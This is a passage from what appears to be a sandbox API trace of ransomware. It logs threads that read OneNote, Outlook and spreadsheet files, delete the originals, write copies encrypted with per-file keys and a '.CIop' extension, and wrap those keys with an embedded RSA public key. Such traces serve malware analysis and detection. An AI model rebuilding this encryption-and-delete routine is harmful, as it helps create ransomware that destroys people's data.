CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\open notebook.onetoc2.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x404 [0090.249] WriteFile (in: hFile=0x404, lpBuffer=0x6265d0*, nNumberOfBytesToWrite=0x1828, lpNumberOfBytesWritten=0x2f1e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesWritten=0x2f1e5d8*=0x1828, lpOverlapped=0x0) returned 1 [0090.250] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1828 [0090.250] WriteFile (in: hFile=0x404, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f1e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f1e5d8*=0x7, lpOverlapped=0x0) returned 1 [0090.250] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x182f [0090.250] SetErrorMode (uMode=0x1) returned 0x1 [0090.250] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0090.250] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f1d5b8, pcbBinary=0x2f1d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f1d5b8, pcbBinary=0x2f1d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0090.250] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f1d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f1d5a0, pcbStructInfo=0x2f1d598 | out: pvStructInfo=0x2f1d5a0, pcbStructInfo=0x2f1d598) returned 1 [0090.250] CryptAcquireContextW (in: phProv=0x2f1d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f1d5a8*=0x614660) returned 1 [0090.250] CryptImportPublicKeyInfoEx (in: hCryptProv=0x614660, dwCertEncodingType=0x1, pInfo=0x5b85c8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f1d5b0 | out: phKey=0x2f1d5b0*=0x5b67f8) returned 1 [0090.250] CryptEncrypt (in: hKey=0x5b67f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f1d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f1d5b4*=0x80) returned 1 [0090.250] CryptEncrypt (in: hKey=0x5b67f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x613890*, pdwDataLen=0x2f1d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x613890*, pdwDataLen=0x2f1d5a4*=0x80) returned 1 [0090.250] WriteFile (in: hFile=0x404, lpBuffer=0x613890*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f1e5d8, lpOverlapped=0x0 | out: lpBuffer=0x613890*, lpNumberOfBytesWritten=0x2f1e5d8*=0x80, lpOverlapped=0x0) returned 1 [0090.251] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.251] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.251] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.251] CloseHandle (hObject=0x404) returned 1 [0090.252] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\open notebook.onetoc2")) returned 0 Thread: id = 62 os_tid = 0xfec [0090.254] lstrcpyA (in: lpString1=0x305e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.254] lstrcpyW (in: lpString1=0x305f368, lpString2="Quick Notes.one" | out: lpString1="Quick Notes.one") returned="Quick Notes.one" [0090.254] lstrcpyW (in: lpString1=0x305f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0090.254] SetErrorMode (uMode=0x1) returned 0x1 [0090.254] wsprintfW (in: param_1=0x305eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one") returned 81 [0090.254] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", dwFileAttributes=0x20) returned 1 [0090.256] StrStrW (lpFirst="Quick Notes.one", lpSrch=".CIop") returned 0x0 [0090.256] wsprintfW (in: param_1=0x305e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one.CIop") returned 86 [0090.256] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\quick notes.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x40c [0090.259] ReadFile (in: hFile=0x40c, lpBuffer=0x6265d0, nNumberOfBytesToRead=0x57ec8, lpNumberOfBytesRead=0x305e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesRead=0x305e5e8*=0x57ec8, lpOverlapped=0x0) returned 1 [0090.262] CloseHandle (hObject=0x40c) returned 1 [0090.262] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\quick notes.one")) returned 1 [0090.265] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0090.266] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0090.266] SetErrorMode (uMode=0x1) returned 0x1 [0090.266] CryptAcquireContextW (in: phProv=0x305e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x305e5b8*=0x6142a8) returned 1 [0090.268] CryptGenKey (in: hProv=0x6142a8, Algid=0x1, dwFlags=0x4000, phKey=0x305e5bc | out: phKey=0x305e5bc*=0x67ef90) returned 1 [0090.656] CryptExportKey (in: hKey=0x67ef90, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x305e5ec | out: pbData=0x0*, pdwDataLen=0x305e5ec*=0x94) returned 1 [0090.657] CryptExportKey (in: hKey=0x67ef90, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x305e5ec | out: pbData=0x2de0000*, pdwDataLen=0x305e5ec*=0x94) returned 1 [0090.657] CryptDestroyKey (hKey=0x67ef90) returned 1 [0090.657] CryptReleaseContext (hProv=0x6142a8, dwFlags=0x0) returned 1 [0090.658] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\quick notes.one.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x40c [0090.658] WriteFile (in: hFile=0x40c, lpBuffer=0x6265d0*, nNumberOfBytesToWrite=0x57ec8, lpNumberOfBytesWritten=0x305e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesWritten=0x305e5d8*=0x57ec8, lpOverlapped=0x0) returned 1 [0090.663] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x57ec8 [0090.663] WriteFile (in: hFile=0x40c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x305e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x305e5d8*=0x7, lpOverlapped=0x0) returned 1 [0090.663] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x57ecf [0090.663] SetErrorMode (uMode=0x1) returned 0x1 [0090.663] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0090.663] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x305d5b8, pcbBinary=0x305d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x305d5b8, pcbBinary=0x305d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0090.663] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x305d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x305d5a0, pcbStructInfo=0x305d598 | out: pvStructInfo=0x305d5a0, pcbStructInfo=0x305d598) returned 1 [0090.663] CryptAcquireContextW (in: phProv=0x305d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x305d5a8*=0x614550) returned 1 [0090.663] CryptImportPublicKeyInfoEx (in: hCryptProv=0x614550, dwCertEncodingType=0x1, pInfo=0x5b89d8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x305d5b0 | out: phKey=0x305d5b0*=0x5b68f8) returned 1 [0090.663] CryptEncrypt (in: hKey=0x5b68f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x305d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x305d5b4*=0x80) returned 1 [0090.663] CryptEncrypt (in: hKey=0x5b68f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6145d8*, pdwDataLen=0x305d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x6145d8*, pdwDataLen=0x305d5a4*=0x80) returned 1 [0090.664] WriteFile (in: hFile=0x40c, lpBuffer=0x6145d8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x305e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6145d8*, lpNumberOfBytesWritten=0x305e5d8*=0x80, lpOverlapped=0x0) returned 1 [0090.664] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.664] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.664] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.664] CloseHandle (hObject=0x40c) returned 1 [0090.670] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\quick notes.one")) returned 0 Thread: id = 63 os_tid = 0xff0 [0090.704] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.704] lstrcpyW (in: lpString1=0x2f0f368, lpString2="lcfkj@kiekc.df.pst" | out: lpString1="lcfkj@kiekc.df.pst") returned="lcfkj@kiekc.df.pst" [0090.704] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" [0090.704] SetErrorMode (uMode=0x1) returned 0x1 [0090.704] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst") returned 68 [0090.704] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", dwFileAttributes=0x20) returned 1 [0090.705] StrStrW (lpFirst="lcfkj@kiekc.df.pst", lpSrch=".CIop") returned 0x0 [0090.705] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst.CIop") returned 73 [0090.705] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\lcfkj@kiekc.df.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x404 [0090.705] ReadFile (in: hFile=0x404, lpBuffer=0x6265d0, nNumberOfBytesToRead=0x42400, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesRead=0x2f0e5e8*=0x42400, lpOverlapped=0x0) returned 1 [0090.709] CloseHandle (hObject=0x404) returned 1 [0090.709] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\lcfkj@kiekc.df.pst")) returned 1 [0090.712] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0090.712] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0090.712] SetErrorMode (uMode=0x1) returned 0x1 [0090.712] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x613d58) returned 1 [0090.714] CryptGenKey (in: hProv=0x613d58, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x67e9d0) returned 1 [0090.768] CryptExportKey (in: hKey=0x67e9d0, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0090.768] CryptExportKey (in: hKey=0x67e9d0, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0090.768] CryptDestroyKey (hKey=0x67e9d0) returned 1 [0090.768] CryptReleaseContext (hProv=0x613d58, dwFlags=0x0) returned 1 [0090.769] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\lcfkj@kiekc.df.pst.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x414 [0090.770] WriteFile (in: hFile=0x414, lpBuffer=0x6265d0*, nNumberOfBytesToWrite=0x42400, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x42400, lpOverlapped=0x0) returned 1 [0090.775] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x42400 [0090.775] WriteFile (in: hFile=0x414, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0090.775] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x42407 [0090.775] SetErrorMode (uMode=0x1) returned 0x1 [0090.775] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0090.775] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0090.775] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0090.775] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x6143b8) returned 1 [0090.775] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6143b8, dwCertEncodingType=0x1, pInfo=0x682520, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d6588) returned 1 [0090.775] CryptEncrypt (in: hKey=0x5d6588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0090.776] CryptEncrypt (in: hKey=0x5d6588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6136f8*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x6136f8*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0090.776] WriteFile (in: hFile=0x414, lpBuffer=0x6136f8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6136f8*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0090.776] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.776] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.776] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.776] CloseHandle (hObject=0x414) returned 1 [0090.781] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\lcfkj@kiekc.df.pst")) returned 0 Thread: id = 64 os_tid = 0xff4 [0090.782] lstrcpyA (in: lpString1=0x306e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.782] lstrcpyW (in: lpString1=0x306f368, lpString2="uhL6PZJxrZwaAeTB.ods" | out: lpString1="uhL6PZJxrZwaAeTB.ods") returned="uhL6PZJxrZwaAeTB.ods" [0090.782] lstrcpyW (in: lpString1=0x306f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0090.782] SetErrorMode (uMode=0x1) returned 0x1 [0090.782] wsprintfW (in: param_1=0x306eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\uhL6PZJxrZwaAeTB.ods") returned 71 [0090.782] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\uhL6PZJxrZwaAeTB.ods", dwFileAttributes=0x20) returned 1 [0090.783] StrStrW (lpFirst="uhL6PZJxrZwaAeTB.ods", lpSrch=".CIop") returned 0x0 [0090.783] wsprintfW (in: param_1=0x306e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\uhL6PZJxrZwaAeTB.ods.CIop") returned 76 [0090.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\uhL6PZJxrZwaAeTB.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\uhl6pzjxrzwaaetb.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 